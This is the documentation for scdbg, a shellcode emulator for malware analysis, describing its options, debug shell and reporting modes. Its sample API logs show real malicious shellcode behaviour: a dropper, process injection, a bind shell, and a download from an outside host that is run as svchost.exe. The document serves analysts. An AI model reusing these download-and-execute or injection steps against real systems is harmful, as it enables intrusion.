What is scdbg? top scdbg is an open source, multi-platform, shellcode analysis application that runs shellcode through a virtual machine that emulates a 32bit processor, memory, and basic Windows API environment. scdbg uses the libemu library to provide this environment. Builds of scdbg exist for both Windows and Unix users. Scdbg homepage is: http://sandsprite.com/blogs/index.php?uid=7&pid=152 Versions of scdbg are available for both *nix and Windows machines. The Windows version is the current development branch and includes many features not found in the older gcc builds. At the time of writing, this includes support for 246 opcodes, 15 Dlls, and 242 API hooks. You can view these stats along with exactly which API are supported by using the -hooks command line option. ![]() To see just the dll list use the -dllmap option. kernel32 Dll mapped at 7c800000 - 7c8f6000 Version: 5.1.2600.5781 ntdll Dll mapped at 7c900000 - 7c9b2000 Version: 5.1.2600.5755 ws2_32 Dll mapped at 71ab0000 - 71ac7000 Version: 5.1.2600.5512 iphlpapi Dll mapped at 76d60000 - 76d79000 Version: 5.1.2600.5512 user32 Dll mapped at 7e410000 - 7e4a1000 Version: 5.1.2600.5512 shell32 Dll mapped at 7c9c0000 - 7d1d7000 Version: 6.0.2900.6018 msvcrt Dll mapped at 77c10000 - 77c68000 Version: 7.0.2600.5512 urlmon Dll mapped at 78130000 - 78258000 Version: 7.0.6000.17096 wininet Dll mapped at 3d930000 - 3da01000 Version: 7.0.6000.17093 shlwapi Dll mapped at 77f60000 - 77fd6000 Version: 6.0.2900.5912 advapi32 Dll mapped at 77dd0000 - 77e6b000 Version: 5.1.2600.5755 shdocvw Dll mapped at 7e290000 - 7e401000 Version: 6.0.2900.5512 psapi Dll mapped at 76bf0000 - 76bfb000 Version: 5.1.2600.5512What can scdbg do? top As scdbg runs shellcode, it will print out the API log of what the shellcode is attempting to do. By default, shellcode is not allowed to create files, or access the network. To try to keep the shellcode running smooth, many API are spoofed with fake return values. D:\>scdbg -f ./sc/dropz.sc Loaded 21b bytes from file ./sc/dropz.sc Initialization Complete.. Max Steps: 2000000 Using base offset: 0x401000 4010a3 GetTempPathA(len=ff, buf=40121b) = 8 4010c8 _lcreate(d:\temp\.com) 4010de _lwrite(h=4, buf=40111b) 4010e8 _lclose(h=4) 4010f8 WinExec(d:\temp\.com) 401104 Sleep(0x7d0) 401112 DeleteFileA(d:\temp\.com) 40111b ExitProcess(0) Stepcount 1616895 If the -i interactive mode is enabled, then shellcode will be allowed to access the network, and gain controlled ability to read/write files to disk. The file read/write ability is completely controlled by scdbg and influenced through several command line options to be discussed latter in the File System Access section. D:\>scdbg -i -f ./sc/dropz.sc Loaded 21b bytes from file ./sc/dropz.sc Initialization Complete.. Interactive Hooks enabled Max Steps: 2000000 Using base offset: 0x401000 4010a3 GetTempPathA(len=ff, buf=40121b) = 8 4010c8 _lcreate(d:\temp\.com) Interactive mode local file: ./sc/dropz.drop_0 4010de _lwrite(h=4fd2d0, buf=40111b) 4010e8 _lclose(h=4fd2d0) 4010f8 WinExec(d:\temp\.com) 401104 Sleep(0x7d0) 401112 DeleteFileA(d:\temp\.com) 40111b ExitProcess(0) Stepcount 1616895 scdbg has support for:
Help Videos top Several help videos are available: Loading shellcode into scdbg: top The primary way to load shellcode into scdbg is with the -f option. This option takes a file path as an argument. For Linux users, this must be a binary file of the shellcode. For Windows users, this can now also be a %u, %x, \x, or hex blob text representations of the shellcode which will be auto converted to binary before execution. The converters are pretty basic and while they will ignore new lines, tabs, quotes, and plus signs, they can not parse javascript variable assignments and the like. If in doubt, manually convert it to binary first, or use -conv [path] option to dump the converted data to disk as a binary file before running. For testing purposes, you can also load shellcode into memory using the patching functionality, or raw file loading capabilities along with the -nofile option. See the Patching section for more details. GUI Launcher: top Perhaps the easiest way to run scdbg is to use gui_launcher.exe which is a graphical user interface that presents the user with visual options to launch the scdbg console application. The interface has checkboxes for most of the commonly used options, as well as the ability to graphically browse for the shellcode file, or launch several options from a right click menu. Shellcode files can also be loaded by dragging and dropping them into the upper textbox. If an option is not broken out to an individual checkbox, it is still available through the Manual args text box which will be appended to the built up command line. The last command line can also be copied to the clipboard for manual debugging. The gui application can also create a file association so that .sc files open automatically with it when they are double clicked. This is a very handy way to load shellcode files and gives them a slick icon to boot. ![]() Finding Shellcode Start Offset: top Sometimes you dont know where the shellcode starts, usually because there is a ROP gadget on the front of the shellcode. In these cases the best place to start is with the -findsc mode. Findsc option will try to start execution at each offset in the file, and see how many steps it can execute without an error. If it makes it to an API address, then it will also abort and assume a successful run. If there is only possible start offset found (or if the -auto flag is used), it will go ahead and auto execute the shellcode from that point for a full report. If multiple possible start offsets are found, it will list them sorted by step count for you to select. For Windows users, a percent complete will be displayed to show progress. scdbg -f c.sc -findsc Loaded 651 bytes from file c.sc Testing 1617 offsets | Percent Complete: 99% | Completed in 484 ms 0) offset=0x4af steps=MAX final_eip=7c86250d WinExec 1) offset=0x4b5 steps=MAX final_eip=40150b 2) offset=0x4b8 steps=MAX final_eip=401503 3) offset=0x4ba steps=MAX final_eip=401505If execution reachs an API, it will be listed and moved to the top of the list. To select which start offset you would like to try, you enter the index listed not the actual offset (easier). If you just hit return, it will default to index 0. If there are to many possible start offsets, you can also increase the minimum logging threshold through the use of the -min option. Another technique to locate the start offset, is to use -dump to display a hex dump of the file. Nops, Calls, and JMPs will be highlighted in yellow. You can then use -disasm and -foff to get disasm listing of parts of the file. or use -foff to start execution where ever you want. ![]() The older gcc builds also support the -getpc command which uses a different internal mechanism built into libemu itself. Memory Dumps top It is common for shellcode to decode itself in memory. In order to obtain a decoded copy of the shellcode after execution, you can use the -d dump option. If this mode is specified, it will scan memory after execution and compare it to the buffer that was initially loaded in. If changes are detected, it will dump memory to disk in the shellcodes parent directory. If any new memory allocations were created during runtime, they too will be dumped to disk and named by base offset. You can also create memory dumps and view hexdumps of memory at anytime during execution from the debug shell. IDA Integrationtop Scdbg has support for syncing an IDA disassembly on breakpoint and single step events. Comments can also be added to IDA from the debug shell by pressing the semi colon key ; In order to utilize this feature, you will need:
IDASrvr is open source and hosted on github. You can download the latest binary here: https://github.com/dzzie/RE_Plugins/raw/master/IDASrvr/bin/IDASrvr.plw Verbosity Levels top scdbg supports 4 different verbosity levels to the output. By default verbosity = 0 and only initilization messages, API log output and errors will be displayed. Verbosity is increased by using the -v flag multiple times or by directly specifying it such as -vv, -vvv. Verbosity level table is below: none (v=0) = initilization messages, API log output and errors -v (v=1) = 0 + assembler output and step count -vv (v=2) = 1 + register output -vvv (v=3) = 2 + enters interactive debug shell and single step mode -vvvv(v=4) = 3 + stack dump on every stepOnce you enter the debug shell, you can manually re-specify the verbosity again using the v command. So if you wanted to continue execution after a breakpoint with asm listing showing you could enter the debug shell commands v 1 and then r for run. (You can also slow down execution to keep the asm coming at a readable pace by setting a t 3 timeout interval). The debug shell g (go) command will automatically set v=0 and r Initial register values top Most shellcode is designed to be initial register value independant. In an effort to avoid emulation, some require specific values at startup. One variant in particular use a register already pointing to the start of the shellcode buffer in order to avoid having to use get_pc code which AV has strong detections for. You can set initial values of registers from the command line. using hex, decimal or keyword values. eg: -eax 0xdeadBeef or -ebx 12345 or -ecx base. Esp and EBP can not be set in this manner. The base keyword uses the shellcodes base offset. If you modify the shellcodes base offset with the -o switch, it must be specified in teh command line before the register switch is set. If you want to set all general registers to the same default value you can use -reg [value] switch. By default all general registers are set to 0. ordinal lookups top GetProcAddress does support ordinal lookups. 4012f9 GetProcAddress(kernel32.0x245) - LoadLibraryA by ordinal 401691 LoadLibraryA(kernel32) 4012f9 GetProcAddress(kernel32.0x50) - CreateFileA by ordinal 4012f9 GetProcAddress(kernel32.0x391) - WriteFile by ordinal 4012f9 GetProcAddress(kernel32.0x2a7) - ReadFile by ordinal 4012f9 GetProcAddress(kernel32.0x15c) - GetFileSize by ordinal 4012f9 GetProcAddress(kernel32.0x32) - CloseHandle by ordinal 4012f9 GetProcAddress(kernel32.0x385) - WinExec by ordinal 4012f9 GetProcAddress(kernel32.0x1cc) - GetTempPathA by ordinal 4012f9 GetProcAddress(kernel32.0x30a) - SetFilePointer by ordinal 4012f9 GetProcAddress(kernel32.0x10a) - GetCommandLineA by ordinal 4012f9 GetProcAddress(kernel32.0xb7) - ExitProcess by ordinal 401691 LoadLibraryA(shell32) 4012f9 GetProcAddress(shell32.0x167) - ShellExecuteA by ordinal 401709 GetCommandLineA() = 2531d0 40142e GetTempPath(len=104, buf=12f858) = 8 ... -api mode top The -api mode option will scan the main code body and any allocs just before termination looking for a continuous block of api pointers. If it can locate the API table, it will dump it so you can see what api the shellcode loads and what the relative offsets are. This is useful if the shellcode is crashing somewhere after lookups are done but before it completes execution. Scanning main code body for api table... Scanning stack for api table start=12fdbc sz=c Scanning runtime memory alloc 0 base=60000, sz=28 Found Api table at: 60000 table is eax based [x + 0] = GlobalAlloc [x + 4] = LoadLibraryA [x + 8] = URLDownloadToCacheFileA [x + 12] = keybd_event Process Injection Shellcode: top Process injection and CreateThread shellcode is handled all at once seamlessly. 401051 GetEnvironmentVariableA(name=ProgramFiles, buf=12fcf4, size=fc) 4010bb CreateProcessA( C:\Program Files\Internet Explorer\iexplore.exe, ) = 0x1269 4010dd VirtualAllocEx(pid=1269, base=0 , sz=644) = 600000 4010f8 WriteProcessMemory(pid=1269, base=600000 , buf=40110f, sz=644, written=0) 40110a CreateRemoteThread(pid=1269, addr=600000 , arg=0, flags=0, *id=0) Transferring execution to threadstart... 600030 VirtualProtect(adr=600000, sz=1000, flags=40) 60027f LoadLibraryA(ws2_32.dll) 6002ab LoadLibraryA(wininet.dll) 60027f LoadLibraryA(ws2_32.dll) 6002ab LoadLibraryA(wininet.dll) 60027f LoadLibraryA(ws2_32.dll) 6002ab LoadLibraryA(wininet.dll) 60027f LoadLibraryA(ws2_32.dll) 6002ab LoadLibraryA(wininet.dll) 6002e8 WSAStartup(101) 600302 CreateThread(600536, 60000b) = 1 Transferring execution to threadstart... 600547 socket(2, 1, 6) = 41 600567 bind(h=41, port:5746, sz=10) = 15 600575 listen(h=41) = 21 600583 accept(h=41, sa=21, len=21) = 68 6005a1 recv(h=68, buf=12fc70, len=4, fl=0) 600644 ExitThread(0) File Format Exploits: top File format exploits such as PDF, Word, Excel that extract executables or second stage shellcode from the parent exploit document can be easily analyzed by scdbg. These shellcode typically call GetFileSize with incrementing file handles trying to find an open handle to the parent document that the exploited application opened to load the document. In scdbg, this handle can be provided by using the -fopen [path] option along with -i for interactive hooks. This functionality is available in both the Linux and Windows builds. $ ./sctest -f test.sc -fopen bad.pdf -i fopen(bad.pdf) = 4d565c Loaded 312 bytes from file test.sc Initialization Complete.. Interactive Hooks enabled 401083 GetFileSize(4) = 2031b 401112 GlobalAlloc(sz=2031b) = 60000 401118 SetFilePointer(hFile=4, dist=0, FILE_BEGIN) 401132 ReadFile(hFile=4, buf=60000, numBytes=2031b) 401147 CreateFile(x.exe) Interactive mode local file: /tmp/WHhUmhtM 401158 WriteFile() 401176 WinExec(x.exe) In the above example, the newly created file /tmp/WHhUmhtM will now contain a fully decoded exe that the emulated shellcode safely extracted from the parent document. File System Access: top By default, no file system access is allowed to the shellcode, and spoofed file handles and data are returned by the emulated API. Under limited circumstances, actual file system is allowed when specified by the command line switches. In -i interactive mode the shellcode is allowed to write files to disk, however scdbg controls the location and file names. For Linux versions, this will always be in the temp directory under random file names. For newer Windows versions, they will be named sample_x.drop in the shellcodes home directory. The current directory can be overridden with the -temp command line option. Similarly, memory dumps taken with the -d option will be saved to the shellcode parent directory. Shellcode can also access files you specify with the -fopen option. In these situations it will be provided with a read only handle to the file you specify. This is used for file format shellcode which want to read in data from the parent file. The -cfo option (CreateFileOverride) can also provide access similar to -fopen. Create File Override option -cfo top The -cfo option is used for shellcodes which do a download, then open the downloaded file to decode it. In these scenarios, you can use -cfo [path] to have scdbg direct the first CreateFile call to open the file you specify. Subsequent CreateFile calls (if -i is enabled) will be used to drop the decoded file to disk. its a bit of a hack but works and is useful. scdbg -f happy.sc -fopen Zoll.exe_ -i -cfo -norw fopen(Zoll.exe_) = 7c4 Loaded 410 bytes from file happy.sc Initialization Complete.. Interactive Hooks enabled Max Steps: 2000000 Using base offset: 0x401000 401056 LoadLibraryA(User32) 401075 LoadLibraryA(urlmon) 401094 LoadLibraryA(shell32) 4010c7 MultiByteToWideChar(http://img.ckb2b.org/Zoll/Zoll.exe) 4010ed URLDownloadToCacheFileW(http://img.ckb2b.org/Zoll/Zoll.exe, buf=4014c2) 40110e CreateFileW(c:\URLCacheTmpPath.exe) = 7c4 401120 GetFileSize(7c4, 0) = 8800 401158 CreateFileW(c:\URLCbcheTmpPath.exe) = 7a8 Interactive mode local file happy.drop_0 40117d SetFilePointer(hFile=7c4, dist=0, 0, FILE_BEGIN) = 0 4011f7 CloseHandle(7c4) 401200 CloseHandle(7a8) 4012c9 WinExec(cmd.exe /c copy /B "c\RCcemPt.x" /B %temp%\svchost.exe /y && start %temp%\svchost.exe) 4012ce ExitProcess(0)MemMonitor top scdbg supports a memory monitor that will watch for access to DLL memory regions as well as to the PEB. it can automatically detect read/writes to these regions and report on it. This allows us to easily find API patching, and which module list is used from the PEB. Memory monitor -mm is enabled automatically for -r report mode, as well as a more verbose and immediate output available through the -mdll option as shown below. ![]() Patching: top There are several times during testing, development, and analysis where the need for patching code into the emulated environment became necessary. There are now several mechanisms in place, all of which can be used to write test code to memory and can patch shellcode loaded with -f just before execution. The first patching mechanism implemented was the -patch [file] command. This option uses a specially constructed binary patch file format that can hold multiple patches per file. Patch files are generated with the "Generate Patch" command available within gui_launcher More menu. A blog post with example file can be downloaded here: http://sandsprite.com/blogs/index.php?uid=7&pid=177 Another way to load raw data into emu memory is with the -raw 0xBase-fpath. This command will load the file specified by fpath into memory directly as is at 0xBase address. ex: -raw 0x403000-c:\test.bin This command was implemented as a lazy way to load dll memory dumps for testing with ROP exploits. It is not PE aware. (-raw is also handy to use with the -llo Load Library Override option) The last two commands are -wint 0xBase-0xVal and -wstr 0xBase-Str . In some examples you may see them aliased as -spoke and -poke. -wint is short for write int, and is designed to write an integer value into memory at 0xBase. -wstr is short for write string, is can write a string into memory at 0xBase address. -wstr is capable of writing ascii, or binary data into memory. ex: scdbg /wstr 0x401000-0x64A130000000060fa00731C026A13000000090 -vvv -nofile SCMD Files: top scdbg has special handleing of .scmd files. These files are a sort of scdbg script file that allow you to place each command line option on its own line in a text file, and also supports # style comments per line. An example scmd file is available here: http://sandsprite.com/blogs/files/rop_test_2.zip scmd files can also be launched by dragging and dropping them onto the scdbg icon. Directory Mode: top You can run scdbg across an entire directory of shellcode in a batch mode if you like. It will process all .sc files in the directory you specify with the -d [folder] command line. This mode will output one file per shellcode file it finds. You can also have all the results output to a single file with the (override) of the -r report option. If you want report mode on each file use the (override of) the -v option (now meaning Verbose in this case) Directory mode also supports the -u unlimited steps command, but be careful this could cause hangs. You can also run directory mode by dragging and dropping a folder onto the scdbg icon. BreakPoints and Debug Shell: top The debug shell is a basic interface that allows you pause shellcode execution, and enter manual commands to analyze instructions, registers, and memory. You can enter the debug shell at any time during execution by hitting CTRL-C There are also several ways to enter the debug shell at specific times such as: /ba hexnum break above - breaks if eip > hexnum /bp hexnum set breakpoint on virtual address, file offset or api name /bs int break on step (shortcut for -las [int] -vvv) /b0 break if 00 00 add [eax],alYou can set up to 10 breakpoints with -bp. The other options all use the same internal mechanism and can only be used one at a time. -bp breakpoints can be managed in the debug shell using the .bl (bp list), .bc (bp clear), and b (bp set) commands. You can also have it automatically enter the debug shell if it encounters an error during execution with -e 3 which means error mode set verbosity to 3. If you want to enter the debug shell right at the beginning of execution you can set verbosity to 3 with -vvv The debug shell has a number of commands available. When in the debug shell, type ? to see a full listing of commands. The current list of commands is: dbg> ? ? - help, this help screen, h also works v - change verbosity (0-4) g - go - continue with v=0 s - step, continues execution, ENTER also works c - reset step counter r - execute till return (v=0 recommended) u - unassembled address b - sets next free breakpoint (10 max) m - reset max step count (-1 = infinate) e - set eip w - dWord dump,(32bit ints) prompted for hex base addr and then size d - Dump Memory (hex dump) prompted for hex base addr and then size x - execute x steps (use with reset step count) t - set time delay (ms) for verbosity level 1/2 k - show stack i - break at instruction (scans disasm for next string match) f - dereF registers (show any common api addresses in regs) j - show log of last 10 instructions executed o - step over ; - Set comment in IDA if .idasync active +/- - basic calculator to add or subtract 2 hex values .bl - list set breakpoints .bc - clear breakpoint .api - scan memory for api table .seh - shows current value at fs[0] .segs - show values of segment registers .reg - manually set register value .dllmap - show dll map .poke1 - write a single byte to memory .poke4 - write a 4 byte value to memory .lookup - get symbol for address .symbol - get address for symbol (special: peb,dllmap,fs0) .savemem - saves a memdump of specified range to file .idasync - connect IDASrvr plugin and sync view at step or break. q - quitROP shellcode: top Many modern shellcodes will include ROP gadgets at the beginning of the shellcode. These usually just setup memory for the main shellcode that follows it to run. Since the main shellcode does not start at the beginning of the payload, you often have to locate the shellcode start offset. For help with this, see the Finding Shellcode Start Offset section of the manual. scdbg does have some support for analyzing ROP shellcode chains. using -dllmap you can see the dlls (and version) that scdbg has built in support for. Note that only NTDLL and Kernel32 have the full opcodes included which ROP payloads often use. (Its not worth megabytes upon megabytes of distribution size for the others and even these two only have opcodes included for hook detectors and return address scanners) A ROP shellcode can be executed using the -rop flag. You may have to load other dlls into memory using -raw. It was an interesting experiment to add this mode, but probably not of much use. In practice, just use -findsc to find the real shellcode start offset and your fine. If its truly a ROP only shellcode, it will take more work to use scdbg to analyze it than necessary. More info is available on my blog here:
Signatures top scdbg supports a basic signature engine. This is used for -r report mode. You can view the built in signatures through the -sigs option. The -disasm option can be added to show the disassembly of each signature. Running as a web service.top A sample php script is available that will allow you to run scdbg as a web service. It is designed for the windows build, but could be modified to run the linux version as well. On windows, the easiest way to set it up is to use the WAMP server package. I would not recommend running it as a world accessible service. The script can be found in the github repository in the /support/webservice folder. Converting API logs to IDC scriptstop A quick and dirty converter is available that can convert scdbg api logs into IDC scripts to add them as comments to the IDA disassembly. The comment will be added on the line after the call (the return address). This can be accessed by running gui_launcher and choosing API to IDC from the More menu. Hook checks and RET scannerstop Since scdbg does not use runtime hooking to intercept API calls, there are no embedded JMP instructions at API starts to be detected. There are however some shellcodes which do not try to detect hooks, and instead always run their own prolog and do a jmp api+5 Scdbg can detect and handle these shellcodes automatically: 4010eb GetTempPathA(len=100, buf=12e048) = 8 jmp CreateFileA+5 hook evasion code detected! trying to recover... 40111f CreateFileA(d:\temp\\scvhost.exe) = 4 40113c WriteFile(h=4, buf=401214, len=0, lpw=12e048, lap=0) = 1 401142 CloseHandle(4) jmp WinExec+5 hook evasion code detected! trying to recover... 401186 WinExec(cmd.exe /c "%temp%\scvhost.exe")Some shellcode will also scan dll memory for ret addresses to use to bypass some security software. scdbg also includes support for these types of shellcodes (they usually scan ntdll or kernel32 which both support this) Complete command line options: top This document is not a complete listing of all command line options. Many can be figured out just from the brief help shown from the applications -h help screen. for a complete listing of command line options, run scdbg -h (or with no arguments) to get a dump of its compile date, and the options its supports. All command line switches can be run with either a - or a / prefix. ex: /h or -h scdbg does not have version numbers, instead its compile date is shown on the help screen. When in the debug shell, type ? to see a complete listing of commands the debug shell supports. x64 Shellcode supporttop Libemu is a 32 bit only emulator. If you want to emulate 64 bit shellcode you will have to use another emulator such as Unicorn Engine. I do have a copy of scdbg that runs under Unicorn. This build is still 32 bit only at the moment but already includes all of the hooks, debug shell and some command line options from the standard version. If you wanted to pick up development and run with it, its a good starting point. It uses my libemu unicorn shim so I didnt have to rewrite it for the Unicorn API. Credits top scdbg Developer: David Zimmer [dzzie@yahoo.com] Homepage: http://sandsprite.com/blogs/index.php?uid=7&pid=152 libemu library was designed and written by: * Paul Baecher * Markus Koetter special thanks go to: * jt / nologin.org for libdasm * Tony Finch for http://dotat.at/prog/lists/list.hSource top Windows Native Source/Binaries (201 hooks - current development branch) *nix/Cygwin Source/Binaries (100 hooks - inactive) The older gcc compatible and cross-compilable version is available here: (tested with cygwin/gcc 3.4 & 4.3, RHEL 2.6/ gcc 4.1) |